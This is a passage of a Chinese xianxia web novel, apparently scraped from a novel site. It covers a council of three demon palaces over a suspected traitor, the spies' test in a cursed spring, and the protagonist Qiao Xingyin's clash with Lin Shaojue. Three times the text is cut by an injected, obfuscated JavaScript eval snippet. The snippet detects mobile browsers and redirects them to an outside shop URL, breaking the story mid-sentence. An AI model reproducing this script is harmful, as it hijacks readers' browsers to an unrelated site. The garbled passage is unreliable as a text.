前有惨厉血腥上演,万相宫宫君的语气,却端的是和蔼儒雅,令在场众人更觉心惊。 一道听起来有几分沙哑粗粝的中年女声紧随其后,语气阴冷道:“老狐狸,不愧是你。这么多年了,一副假面怎么也抠不下来,如此之装。” 她截过话头,语带嫌弃道:“既然已经把伏圣者召回来了,何必再打什么虚腔呢?” “这时还说什么‘或有’?我们百恐宫不是审得很清楚吗?” “霨,再让这只老狐狸好好加深一下印象。”百恐宫宫君朝下唤了一声。 “是。” 几声清脆的铃音从霨所在之处传来,叮铃、叮铃,荡在山间,竟如鬼泣。 随之,殿级处一位魔修接话,语气生硬地平铺直叙道:“千恨宫战行殿魔将胡搏悍,于凡域桩谷贸然催动魔核进行‘染恨’,结果打草惊蛇落入灵修圈套,不仅丢失魔核一枚,而且连累同行魔修葬身凡域。经由霨殿统捉拿、刑狱殿殿主审讯,胡搏悍坚称自己不是叛徒,因突然收到一封万相宫伏圣者密信,贪功冒进,故按照密信内容擅自领众行动,致此结果。” 万相宫宫君闻言,声音依旧平和,“受刑之徒口出之言,并非一定属实。” 他反问道:“谁知道是不是‘真叛徒’临死前的倒咬一口,故意引得三宫内部猜忌我万相宫翘楚呢?” “毕竟——无论是千恨宫的‘染恨’‘怀恨’‘泄恨’,或是百恐宫的‘生恐’‘慑恐’‘从恐’等等,都有赖于我宫的‘察相’‘得相’‘着相’,不是吗?若是让我宫魔修自乱阵脚,伏圣者从此束手束脚,千恨宫与百恐宫,何以冲坚毁锐?宫主们的伟计,何谈实现?” 千恨宫宫君此时方一口气提不上来般病恹恹地开口道:“胡搏悍不是能叛魔的性子。你还是自查伏圣殿得好。免得终日打雁,却被雁啄。” 魔域没有那么多讲究,实力到位后直接越位杀主,撑得过反扑报复,也没人会多嘴谴责。千恨宫宫君虽然常年一副连咳带喘、中气不足的嗓音,被人戏称为“病君”,却无人会认为他是弱不禁风、日薄西山。毕竟,曾经尝试以下犯上的魔修,坟头草可能都一米多高了。 万相宫宫君接过千恨宫宫君的话头,回道:“伏圣殿若有叛徒,也是无所遁形。本君自会处理,倒是不劳病君您费心了。” 他缓缓而言:“伏圣殿上下均有言禁蛊在身,无论是有心还是无意,无法透露宫主加诸于言禁蛊的所列消息。违者,蛊噬万心,无泄露消息之虞。此外,我宫联监者与伏圣者建立镜中瞳,在镜中瞳的真言香下,伏圣者所说皆为实话,但有异变,联监者可即刻汇报宫内,唤咒绞杀伏圣者。而联监者之内,又自有一套控制之法。两者忠心,皆有保证。” 继而轻声一笑:“说到叛徒,我倒是想起来一事—— 我宫伏圣者伏二,多年蛰伏,终入立圣渊。不久前偶遇百恐宫门下弟兄进行‘慑恐’,为避免自相残杀,共成三宫大计,‘好心好意’地联络一番,没想到转眼即被仙域查出身份,惨落敌手。我宫发现后,不得已启用咒术诛杀伏二,才避免仙域窥探更多。” 他叹息一声,意有所指道:“唉,也不知是我们伏二应当自认倒霉,还是说,百恐宫有人走漏了风声?” 百恐宫宫君冷冷道:“我百恐宫内,自然不会有叛徒。” “怎么不想想,是你们伏圣者一系伏着伏着,浮不起来了呢?” 她的讥讽之声传遍天罗空山:“得宫主保驾护航,于三宫享尽特权,却也一直没见哪个人真进入仙域了。占着茅坑不拉屎,倒也是你们万相宫的魔修才干得出来。” 千恨宫宫君也边咳嗽边附和了几声。 万相宫宫君温声回道:“放长线,方能钓大鱼。有些人即便当了宫君,见识,也还是一如既往的狭隘。” 他接着道:“据闻千恨宫不成气候、百恐宫不成方圆的魔修,数不胜数。” “唉,也是。一个又咳又喘,一个无礼无才。这样的宫君,又能带出什么样的部下呢?哈哈哈哈,确实是不会背叛。连尽忠效力都没有学会,何来的背叛呢?” 万相宫宫君好心道:“若两位治宫力有不逮,只管放心求助。我,乃至万相宫的诸位,都十分乐意伸出援手。” 千恨宫宫君:“咳……咳咳……咳……” 百恐宫宫君气极,狠厉的声音在山里炸开:“老狐狸,你在放什么屁?你说我无礼无才?!方圆?什么方圆?你定的方圆?讲方圆还修什么魔?” 天罗空山内,三位宫君你来我往、唇枪舌剑,众魔修皆眼观鼻,鼻观心,倾耳而听,暂且故作镇静。 万相宫宫君唤了一声“伏翊”,道:“让两位宫君了解了解近况。” “是。” 殿统一级处传来伏翊的声音。他念出乔行吟日前向联监者传递的信息——“伏圣者伏五来报,开霓宗唐迢圣师现于凡域风成峰,供三宫知悉。” 伏翊故意将语调拉得很长,嘲讽道:“知道后续结果是什么吗?” 他向下挥去一道劲气,一位魔修听命,朗声汇报道:“千恨宫殿统罗厉领命,率殿主、魔将一行结阵前往凡域风成峰,偶遇无何城一行,激情开战,损力六七,亦被唐迢所控潜行傀儡察觉动静。唐迢布阵移位,罗厉等人陷于迷步阵多时,破阵后失人踪迹。同日,百恐宫刑狱殿殿主林少绝率魔将私自行动于凡域,于某密林内耗用魔核一枚,林少绝后上报宫内称路遇唐迢,交手不敌,因此损耗魔核以求遁走。” 伏翊开腔道:“这还仅是其中一件。” “也不知道,到底哪宫的魔修才是占着茅坑不拉屎?” “我们万相宫此前传递了这么多线索,可怜千恨宫百恐宫还是无法把握要害,成者少败者多,出各种岔子。这种脑子,这般效率,不得不让我宫佩服。” 他有意对比:“不说别的,一个处于魔域外围的小小无何城,魔气淡根基浅,在人家新城主的带领下,现在,怕是都要爬到两宫头上来了吧?你们可真是好样的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289759|152098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 一道浑厚男音传来,是千恨宫殿统罗厉。战行殿本就归罗厉直领,殿内大将却犯了错被百恐宫骑在头上严刑拷问,现在又遭伏翊直接指桑骂槐,他终于压制不住火气,咬牙切齿道:“伏!大!殿!统!若我没有记错,现在是宫君们在交流。轮不到你来指指点点!” 伏翊道:“嗯?废物开始说话了?三宫聚谈不就是用来聚聚谈谈的吗?我们万相宫人才济济,骂个废物而已,大可不必宫君事事躬亲嘛~我就指指点点了,怎么样呢?” “我可没有仅凭一面之词就盖棺定论,说得都是有案可查、板上钉钉的事实啊。被无何城打得七零八落的,难道不是你罗厉?” 罗厉于此事确实有些气短心虚,丢了面子加上心头火起,向上申请道:“请宫主宫君予我魔核,助我加速修炼,我定为三宫一举灭了无何城。” “哦?废物,你找得到人家界门?” “这难道不是你万相宫应该操心的事?” 由殿统一级开始对踩起来后,三宫各殿许多魔修也加入混战,七嘴八舌,互相指责,骂骂咧咧,渐渐脱离了原来的主题。 ……乔行吟心想,没错了,这三宫聚谈,还是原来的风味。 绝大部分魔修,因天性或练功之故,个性极强,难聚难合。为议事需要,三宫宫主下令,三宫聚谈之上应当直抒己见,大发议论,不可计较……也因此,每一次的三宫聚谈,都避免不了唱一会儿三宫之间互相拆台对骂的大戏。 宫君一级刀光剑影,各怀其意。 殿级以上吵成一团,吹胡瞪眼。 殿级以下目瞪口呆,瑟瑟发抖。 乔行吟在面具和兜帽的掩饰下静静出神。 原来,出问题的,是胡搏悍之事。 她未料到,竟还有人通过伏圣者密信,让胡搏悍的行动时间提前了,不仅破坏了她的布局,还掀起了三宫对伏圣者的怀疑。若是胡搏悍一行真地选择照常行恶,迎接他们的,只会是桩谷中突如其来的失控兽潮,众魔修有死无生。如今,虽然核心结果大差不差,却是让胡搏悍阴差阳错地躲了过去,被活捉回了三宫界。 桩谷中“染恨”的开展,基于她算好时间向联监者传递的一则信息。这则信息探于立圣渊。那么,曾在胡搏悍之事中插过手的人,是已经暴露了身份的伏二,还是那位同样挺过了仙使考察的影二七? 立圣渊大极广极,积累圣绩之时又实行按宗门分类后的换区轮值制度。她需要做的事情太多,没有必要,也未曾有时机和精力,来破解同入立圣渊的伏二与影二七的身份。而伏圣殿内上下级之间虽有主从关系,但因职责特殊,若非个人主动透露,或经殿统以上报予宫主行令,即便是伏圣者,亦不能要求其他人告知明面身份。 乔行吟向下看去,伏圣影一级处,众人均以黑裳掩形、黑纱遮面,仅能分辨出其中标号二十七的影二七身高约八尺,正状似怠惰地垂着头抖着脚。 不知道是不是察觉到了他人的注视,乔行吟发现影二七的动作有一瞬间僵硬,随即才又继续抖了起来。 乔行吟收回目光。 伏圣影等级不够,发不了伏圣者密信。 如果是这位伏圣影,那此人要么找到过伏二,要么联合过伏三或伏四。 她暗暗思量。若说是敌,但大家在此事上达成的结果,同样是败坏相关计划、减损三宫实力;若说是友,对方又应该只在胡搏悍之事上行动过,真实目的难测。而且,还“明目张胆”地用上了伏圣者密信。 无论是否东窗事发,“他/她”或“他/她们”大概都能美美影身,未处理好的波澜,只会波及于她。 但凡相信胡搏悍的言辞,那么上面人的眼中,可不是只有五个怀疑对象吗?死了的伏二;未入立圣渊的伏三与伏四;虽入立圣渊但无伏圣者密信的影二七;既活着又身在立圣渊的伏五。 几人之中,谁更有嫌疑,不言自明。 5. 三宫聚谈(三) 宫主投下的受刑之影,是威。 宫主允许的吵吵闹闹,是恩。 一威一恩其后,紧接着的,恐怕就是对关注对象恩威并施的重头戏了吧? 她是不是还得稍微庆幸一番,若不是她对魔域三宫价值颇高,可能连此前的些许试探,宫内都未必会费功夫对她进行。就比如,临到三宫聚谈召开的前几日,她的联监者却突然换成了伏翊,可不就是宫君怀疑前一位联监者即使化用了魔核,与她仍是修为差距过大,导致镜中瞳对她的牵制弱化吗? 怀疑,还是未消除。 伏翊说想她,是真的。 但他亲身上阵,用联监两问试探她,也是真的。 她通过了伏翊的试探,宫内才一如既往地对她放心。 伏翊因试图提醒她而遭言禁蛊反噬的带血面容,不由地在她的脑海中浮现。但也仅仅是恍惚一瞬,心神再次澄明。她会尽力求同、破局和避免。 正在山内仍是闹闹哄哄之际,一道墨黑气流从山顶猛然冲下,直拍地面,无穷威压瞬间冲击在场的魔修,气氛冷凝起来,吵闹之声立息。 这道墨黑气流从下而上迅疾蔓延,除了万相宫宫君、殿统与伏圣者之外,其余山壁处均被黑气遮得严严实实。身在其中的魔修,也如同强制被一块黑布蒙目掩耳般,看不见虚实,听不见动静。 是一位宫主出手封锁了壁级。 乔行吟心想:“终于来了。”不过,她也略微有些诧异,影二七居然也被封锁了壁级,不与她们同在考验之列? 地面再次于蓝光射下后,显露画面。 这次,却是几位伏圣者继承代号后的训练影像。 三位宫主自然不会显声,依然是万相宫宫君在温言款语:“你们几位,也是我自小看着成才的孩子。虽然,你们于伏圣殿的经历,只有短短的三年。” “三年,远比不上你们在外进行潜伏的时间。” “但我相信,经历之间,也有天壤之别。什么让你们从无到有,什么又能让你们从有到无,心中应当有数。于你们而言,有些经历,就是会更值得铭记、更不会褪色,对吗? 乔行吟的左眼炙热灼痛,是镜中瞳被强劲激发,恶咒在蓄势待发。 分明是警示。 宫君的声音继续传来:“大家虽身在外。心,一直都是朝着万相宫的。这一点,有目共睹。” “何况宫内对你们如此器重,你们怎么会让我、让宫主大失所望呢?” “但是奇也怪哉,其余两宫的宫君,却是更加愿意相信胡搏悍没有说谎。莫非,是伏二在自导自演?不过,现在也倒是不用再替伏二操心了。” “事已至此,你们也应当对得起这份信任,在三位宫主所赐的魔髓怨泉中,展露些许诚心。这,也是为了你们自己行事方便,免得千恨宫和百恐宫一直不依不饶,对你们横加指责。” 地面上的影像消失,转而裂出一条大缝,缝隙中黑泉涌动。乔行吟只觉这黑泉怨气浓郁,似水又不是水,阴浊之中夹杂着极浓的腥气,寒及四周。 什么比较可怕? 未知比较可怕。魔域的东西,一旦中招,向来只有魔域的法子能解。 进了这样的黑泉,会有什么后果? 乔行吟猜忖,宫内不会愚蠢到损耗伏圣者的实力。 尤其是对她。 她之后极有可能获取逐圣帖、参与逐圣会,宫内不可能在事情不清不楚之时废了她这颗重要旗子。 料想这应当是加诸于他们三人身上的又一道禁锢。 思及此,乔行吟在袍下隐秘地褪下半截手套,将一根灵针整根刺入手腕,封住了自身一处要穴,用来防止未知之物对她心智造成影响。这针,还是她于唐迢从林少绝臂下将她拉出之时,收起来的一枚,没想到,这么快便能派上用场。 宫主应当是对这魔髓怨泉的效用颇为自信,甚至没有要求他们三人脱了伏圣袍再进入这黑泉之中。乔行吟身子一纵,率先从山壁处跃下。密信可不是她发的,她的嫌疑又最大,避无可避,不如主动。退一步说,如果宫主真有这个能耐,她也希望借机知晓,其余两人中,有没有递出伏圣者密信之人。 伏三与伏四,也相继从山壁间跃入魔髓怨泉。 他们三人此前处于同一级山壁处,即便相隔甚近,也没有进行攀谈。毕竟大家在外这么多年,又疑似伏圣者间有人出了问题才导致所有人被急召回三宫界,谁都没有先开这个口。虽显生疏,但却安全。 伏四像是自从离开三宫界就没发育过一样,还是少年时期的身高身形。乔行吟比伏四高约一个头,伏三又比她高约一个头。此时,三人同在黑泉泡着“表忠心”,乔行吟居左,伏四居中,伏三居右。两红夹黑,两高夹矮。三人略有些挨挨挤挤,形成了一个不甚标准的凹字形。 三人静默片刻。最右的伏三率先开口道:“两位有何看法?难道真是哪位兄弟姐妹想不开,让大家跟着一起洪福齐天?” 成为伏圣影后需要两两结队,意在理解配合,培养默契。最后剩三队六位伏圣影,争夺前五排名。先是队外比拼,胜者一队决出一五,败者一队决出二四。再是队内厮杀,决定谁一谁五,谁二谁四。伏翊与她,伏二与伏四,由此得来。 而伏三这个代号的取得,比较特殊。只需要在宣布规则的即刻,谁先毫不犹豫地出手杀了队友,谁便可成为伏三,不必再参与后续竞争。从伏三的嘴里说出“兄弟姐妹”这个词,在他们听起来,当真不是什么好话。 伏四道:“你的兄弟姐妹,当不起。” 乔行吟:“……” 乔行吟道:“既然没被直接咒杀,说明大家都算得上清白。没做即可,伏三你倒也不必急着妄自揣测,谨遵宫主与宫君的命令便是。” 伏四点点头,不着痕迹地往乔行吟那边挪了挪,道:“对。” 伏三道:“伏四,身高没长多少就算了,性子也没长进。我怎么没见你对伏二的死讯有多大反应啊。” “在外这么些年了,还是只会做伏五的应声虫?” 伏四:“滚。” 伏三自讨没趣,哼了一声,不再言语。 乔行吟目光下移,斜觑了一眼伏四。 虽有兜帽面具遮掩,但仍能看出伏四目视前方,平平静静,无波无澜。若不是她的袍角被人偷偷扯动,她都要被这副冷静平淡、生人勿近的样子给骗了过去。想到往昔,随即感到几分无奈几分好笑,隔着衣袍捏了捏伏四的手掌。 魔髓怨泉翻腾涌动,状似一只黑色巨手擎举着三人,来回揉搓把弄着指间小小玩物。 不知是不是她封闭了某处穴道的缘故,这魔髓怨泉隔远令人感到腥气熏天、阴毒逼人,实际上却是雷声大雨点小?真落在她身上,亲身呆了一阵,乔行吟却没有察觉出体内出现半分异状。 她余光观察其余两人,既然大家有闲心说东道西,身形亦稳稳当当,应当也是体无大碍。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289760|152098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难道宫主们当真只是让他们三人在魔髓怨泉中泡上一泡,看个态度? “可以了。”万相宫宫君的声音传来。 魔髓怨泉随着话语响起,渐渐缩回地底。乔行吟等人闻言,便再次跃回到天罗空山的山壁上。 乔行吟心中更增怀疑。 很不对劲,她会弄清楚的。 封锁壁级的浓厚黑气也如潮水般消退而去。 众魔修听见万相宫宫君道:“三位宫主既已认可,对于万相宫伏圣者一系的忠诚,想必无论是谁,应该也再无二话了吧?” 千恨宫宫君道:“咳……咳……自然。” 百恐宫宫君冷嗤一声:“呵。” 被万相宫宫君将了一军,她心里当是十分不得劲,再次发声道:“探讨伏圣者里或者其他……里……哼……有没有叛徒,是最重要的一件事,但也不是全部。宫主们也提醒过了,魔柱需要增强。毁掉封印、查出仙脉这些事情,你们万相宫再上点心吧。” 万相宫宫君道:“这些事情,万相宫自有决断。也希望百恐宫的诸位不要碍手碍脚、弄巧成拙。在逐圣会开始之前,没有接到宫主或宫会下达的命令,不要随意对立圣渊中的修者动手,影响宫主大计。” 他沉声道:“所有人,都应当谨记宫主的教诲。若要举魔踏仙,掌握他方情况,扩大己方优势,削弱他方实力,缺一不可。” …… 三宫聚谈甫一结束。 众魔修或唤阵速归,或御宝而回。也有一些常年活动在外的楼主与阁主,想在三宫界内多呆些时日。关系不错的几人,便三两成群,说说笑笑,边走边聊着这次三宫聚谈上的八卦,信步而行。 不过,同人不同命。参会魔修中,许多潜伏在外的伏圣者与伏圣影,可是心急火燎,十分匆匆。他们不能暴露身份,无法从凡域脱身太久,基本上都是掐着时点入界参会,整个过程提心吊胆。一出天罗空山便各显神通,如同烟散青空,消失不见的速度当真惊人。 天罗空山外围怪石嶙峋、怪树丛生。伏四没找到乔行吟的身影,便以为她已经布阵离开。袍下手指合拢,似乎隔着手套在感受与回味着什么,亦未在三宫界内多加逗留,启用秘阵回到凡域。 另一方,影二七并未以秘阵即刻出界,而是蹿进重重石影之中,奔行如雷,身法快得不可思议。乔行吟一直留意着影二七的动静,见影二七似是往黑荒岩柱方向奔去,当即提步跟了上去。 影二七快,但乔行吟能比他更快。 她的步法,从未败于同辈之中的任何一人。 暗中潜行中,她还使用了一颗庇形珠。庇形珠的效用,在于一个“庇”字,即以外界实物作为介质来遮掩修者的形体与气息。天罗空山通往黑荒岩柱的路上多石多树,用庇形珠来隐秘跟踪,再合适不过。 本想先看看影二七前往黑荒岩柱所为何事,再进行下一步行动。但没有想到,影二七刚跃至一方巨石处,便被飞来的两条乌黑锁链缠住了一只脚。锁链将人往后寸寸拖拽,直拉得影二七一个趔趄。 锁链的主人,正是林少绝。 他的声音自后方远远传来,“影二七,跑这么快干什么?别急啊,你要的东西,自然是飞不了。” “虽然霨殿统说他目前也用不上渊令了,不需要你再提供什么圣徒的消息。但我呢,还有一件小小的事情,需要你帮忙。” “告诉我,流光宗的乔行吟,下一次出圣务的地点在哪?” 6. 牵四挂五(一) 影二七被乌黑锁链拽下后,就地打了一个滚儿。 乔行吟见影二七手脚并用,挣扎着摆脱束缚,随之一个鲤鱼打挺,腾空起身,腰力尽显柔韧,却又在起身后立即躬下身子,弯起腰背,夸张又滑稽地哈成一团,冲林少绝拜了拜,声音又尖又细地叫道:“林殿主,原来是您啊!” “我就说怎么总感觉身上有点毛毛的,像被人盯着似的。” 伏圣影不像四位伏圣者一般有宫主赐物协助,这聒噪刺耳的男音,不知是影二七的本音,还是他有意为之。 只听他大喇喇地继续叹道:“唉,您说您,问就问吧,把这‘恣骨’用在我身上,有点伤感情吧!交易既成,您大人有大量,何苦来为难我一个小小的伏圣影啊!” 林少绝此举意在拦人,而非伤人。 他漫不经心地唤回“恣骨”,讥笑道:“影二七,伤感情?” “虽然只是伏圣影,但达成前面那一桩交易的‘你情我愿’之中,必须先具备的,还得是‘你情’。若不是知晓你影二七必经过此地,试问你口中的感情,能否让你这条滑不溜丢、随时可以游入立圣渊的泥鳅,在返了凡域后,再回头和我探讨一二呢?” 影二七道:“林殿主,您这话说的,我怎么会怠慢您。” “但是,您也知道,我影二七在万相宫的胜天榜上,那是妥妥的湮灭无闻啊!这代表什么——” “这代表,宫内交代的任务,我影二七憋足了劲,脑袋别在裤腰带上开干,都干得一塌糊涂啊!胜天榜的至高奖赏,我已经是万万不敢奢望了。可怜见的,就连基础的魔核供给,因为活儿太差,都快被宫内削得没了。唉,无用又无志的人,还不就只能求个背靠大树好乘凉,舒舒服服地修个魔咯。” “碰巧钻个漏子,向您们讨个活路,能给出些个初阶圣徒的消息就顶破天了。我可参与不进大人物的事情。您问的乔行吟,是立圣渊内的高阶圣使,向我要她的消息,那可是找错人了,我不知道,真没招儿。” 林少绝上下打量着影二七,似笑非笑道:“是吗?你想要舒舒服服地修个魔。还成了伏圣影?入了立圣渊?确实够无用又无志呀!” 影二七一只脚在地面上扒拉来扒拉去,活动着被锁链横拖倒拽过的脚腕,语气里显出赔笑道:“这不是走了狗屎运嘛。” 林少绝口气冷似寒冰,开门见山,直接问道:“一个圣使的动向而已,无关什么机密。你与她同在立圣渊,能‘没招儿’?不要让我从你嘴里听到‘不知道’这三个字。我耐心不好,少跟我兜圈子。” 影二七挥动着双臂,左胳膊叠着右胳膊,一横一横地向下比划,道:“不知道就是不知道啊!直接和您交个底吧,我在渊内也就是个圣徒。暂且还不说什么低阶中阶高阶的,这圣使和圣徒之间,打个简单点的比方,就和天罗空山内聚谈的上级和下级之间一样——有壁啊!” “林殿主,请问,您见过哪位伏圣者,调过头来向伏圣影交代行踪的吗?” 他解释道:“立圣渊内出圣务,都是一带二。也就是一位圣使,领着一位同宗门的圣徒和一位轮值宗门的圣徒。” “我又没拜入流光宗,哪里和乔圣使亲近得上。” “再说了,乔圣使何许人也?那可是立圣渊内出了名的性子好!体贴人!又厉害!许多圣徒都想跟着她混。我不是那些个上面有人撑腰的修者,就算她轮值到我那一宗,也没那个福分咯,挤不进乔圣使身边。” 林少绝神色尽是怀疑,他本就认为这影二七颇为滑头,见影二七此番装腔作势的姿态,更是不爽,“恣骨”被他在手中抖了抖,猛地袭向一旁巨树。 ——! 乔行吟在内心捏了一把汗。 她正好栖身在这株巨树的枝杈之间凝神探听,幸亏感知到周身气流的异样,及时应对,脚尖轻点飞掠,飘然若风,转而隐至另外一块巨石处,才没有显形暴露。 仅仅一刹,巨树轰碎,木屑齐飞。林少绝朝影二七挑唇道:“呵,照你这么说来,立圣渊中出圣务,也像三宫内一些行动似的,不公开?” 影二七往后避去,锁链明明没落至他身上,他却还是“哎呀”“哎呀”地嚷了几声,连声道:“对了!您说对了!当然不公开了!大家都是以渊令从轮值处的仙师那儿匿名接取圣务,办完了,圣使和圣徒才显名,将圣绩记在渊令上。否则,一些探查类的圣务怎么完成?” “干嘛呀这是!都说了我在渊内就是个圣徒,既没有权进行优先选择,又没有和乔圣使搭上过线。林殿主,我是真不知道她会去哪儿出圣务啊!” “不过,乔圣使是流光宗出身,流光宗的修者,在这一轮的五宗轮值里,应该只剩归原宗没去了吧。” “归原宗……”林少绝内心泛起波澜。 “您要想知道的具体点儿,不如去找伏五魔上交流交流呗。” 影二七卖力地推荐道:“看看人家在胜天榜上的排名,啧啧啧,那可真是——接到宫主的亲自召见,获得魔柱灌顶,指日可待啊!说不定伏五魔上在立圣渊里,都快干到和乔圣使一个级别了。虽然伏五魔上是有那些个传闻在外,但您打听打听人家是不是还在界内,亲自去问上一问,人家肯定给您这个面子的!” ——? 乔行吟听到此处,见影二七一番做低伏小,祸水东引得如此坦然,也甚为佩服。 “不过,林殿主,您这是打算干什么——”影二七一边用手拂去溅射在身上的碎尘,一边幽幽道:“我好心劝上您一句,不管您有什么打算,宫君可是在聚谈上明明白白地说过了,不要随便对立圣渊内的修者出手。您若真有什么要事,我想,报到宫会那儿,通过后,万相宫自然会安排‘察相’来配合您吧?” 林少绝眯起双眼,不悦道:“影二七,给我结果。” “现在给不了结果,那就在你出去后,想尽办法,给我一个结果。否则,你的以后,可求不来舒舒服服。” “另外,你是万相宫的人,想必也应该知道一个道理。有些时候,问长问短,猜来猜去,多嘴多舌,可不是什么好事。” 影二七道:“在立圣渊内的魔修,并非只有我一人。我给不了您结果,不是还有一人能给您结果吗?一条是万相宫的康庄大路,一条是伏五魔上的羊肠小路,两条路摆在这儿,您都不愿意走,或者说……走不上?” “听林殿主的意思,您一定是非得耗在我这儿,难为我了?” 他直起身子,与林少绝平视:“林殿主,我们之间,虽然您位高,我位低。但要是真闹得不好看,一些事情,捅到了上面,怕是谁也落不着好。” 林少绝毫不在意道:“好呀,影二七,那看你了。作为暗棋的你,敢吗?” 影二七道:“林殿主,敢不敢的,可不好说。但现在,走人,是一定敢的。” “之前您们要的消息,我已经给了。我的那份,总该让我拿到手吧?林殿主,您这次想趁火打劫?可惜啊,被打劫之人,囊中羞涩,不能让您如愿了。我影二七还是很好说话的,也不记仇,以后但凡有个什么能向您效劳的地方,只要您开口,我自然尽力,照常有来有往。想来,林殿主应该是不会在我面前,先添上一项言而无信的传统?”影二七不再交涉,往前方继续奔去。 林少绝冷笑一声,催动“恣骨”,乌黑锁链上黑气翻涌,卷起狂风,携雷霆万钧之势轰向影二七,所过之处,树颓石碎,尘埃弥漫。 拉扯归拉扯,吓唬归吓唬,影二七似乎没想到林少绝,当真如此大胆,居然直接违背三宫规定,公然在三宫界内对伏圣者一系出手。 他左跳右跃,采取守势,想要逃脱,借助周遭树木乱石虚虚避过几招,但突然脚步一抖,中了一击,五脏肺腑一阵翻搅,直接撞向一块巨石。 影二七撞向的,不偏不倚,好巧不巧,正是附近最后一块可供乔行吟藏身掩形之物。庇形珠必须借助外界实物方可发挥作用。这一撞,石裂人现,直接砸出了她的身形。 她右手抵住影二七的背部,拆解他周身所受力道,左手挥出一掌,掌风如刃,与空中“恣骨”相击,震开锁链。 影二七自林少绝出手开始,便一直在边跳边叫,试图将动静闹得越大越好。真有人突然从身后蹦了出来,帮他抵御,他反而吓得真情实感地怪叫一声:“啊???还真有高手???” 待扭头看清楚乔行吟这一身行头后,怪叫顿时走调,变成惨叫——“啊!!!伏……伏……伏五魔上?!你……你……你一直在?!你……都听到了?!” 什么运气啊这是……乔行吟此时,也有些想像影二七一样大叫了。 林少绝目露诧异。 “伏五?” 他想到乔行吟应当是隐在此处,听去了不少内容,眼神转而变得更加阴狠,黑沉着一张脸,道:“怎么?现在伏圣者换戏本了?变成了伏魔者?改来三宫界内听墙角了?” 乔行吟入界前已经通过鞋履将自己的身高增高了些许,伏圣袍又是宽袍大袖,即便林少绝不久前才近距离与她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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乔行吟怎么可能自找麻烦,让林少绝在外缠上自己。她道:“林殿主想要什么情报,自然可以去万相宫申请‘察相’,不必私下讨要。你不去走我万相宫内的程序,可见林殿主也是有几分自知之明,知道自己所图不合规矩。” “你和影二七之前有什么私下交易,我不关心。但若是想要绕过宫内对立圣渊有所动作,有可能影响宫主谋划,那就恕我得罪了。” 林少绝指尖不住地摩挲“恣骨”。他自从修了魔,愈发随性,什么人什么事,只要能叫他起了兴趣,能让他内心爽快,其余通通可以不管不顾。愿意于三宫内当个刑狱殿殿主,也是此因。他双眸微弯地回道:“伏五,我明白了。可以呀,那在你得罪我之前,就劳烦你现在先赐教赐教了。” 林少绝以“恣骨”搅动风云,连绵不断的沉闷气流一层更比一层重,如巨山罩顶,直接压向乔行吟,意图昭然若揭,是要对方于此时此刻对他林少绝弯下脊梁。羞辱之意,更甚于伤人之意。他知道伏圣袍的效用,是故未启杀招,以威势降人。 只见乔行吟身形不受影响,一道身影放大至林少绝眼前,她竟是毫不避让,向他近身袭来。 乔行吟直接以双掌出击,无招无式,但劲力非凡。大道至简,莫不如是。 林少绝更擅远攻,拉开距离,挥链成勾,转而切人要害。 影二七缩在一旁,只觉眼花缭乱,但见两道残影交错斜飞,移至数十里外,殊不知在这瞬息之间,双方已交手几十招。 乔行吟抓住机会,一个移步上前,击开“恣骨”,单手掐住林少绝的脖颈,直将人掼在一块石壁之上,石壁处顿时爬满了蛛丝般的裂痕,竟是寸寸开裂。 林少绝闷哼一声,体内腥气上涌。 乔行吟道:“林殿主,抱歉了,我下手没个轻重。” “不过,我想,你既然于切磋之下技不如人,应该也没什么意见?” “不知这一撞,能否让你清醒一点?”乔行吟五指皆覆着红底金纹护手,指间发力,直掐得林少绝头往后仰,两颊涨红。 “立圣渊,我在。” “所以,林殿主,收起你的心思。不要敬酒不吃,吃罚酒。” 林少绝生就一双狐狸眼,眼尾上挑狭长,眼睫纤细浓密。因修魔后便久浸暴残凌虐一道,暗沉幽冷的双眸中,更是氤氲裹缠着丝丝猩红邪气。 此时,他被乔行吟掐住咽喉,止不住地咳喘连连,修长的玉颈上涨出根根青筋,这丝丝猩红邪气便顺着他的双眸一路“登山越岭”至眼尾,晕染得艳红一片,人似桃花。 7. 牵四挂五(二) 身锢,气喘。 颈仰,脸臊。 斯人似桃花,奈何对方无意惜花。 林少绝被乔行吟单手抵在石壁上,待她语毕,他才感到脖子上受到的禁锢与力道稍松。 然而,对方那被包裹在贴合手套里的五指,却仍是玩味地搭在他脸颊两侧,如同一只伸展肢节的血金毒蛛,拢住捕获的网中之物。 林少绝缓过神来些许,方注意到,对方钳制住、摆弄着自己的这只手,竟是异常秀气。 指节修长,精致小巧。 秀气是秀气,却力含千钧。 林少绝与乔行吟皆心知肚明,此番交手,彼此均未向对方使用杀招,而是落脚于根基,重在立威。 看的就是,两人之中,谁能压过谁一头。 此局已定。 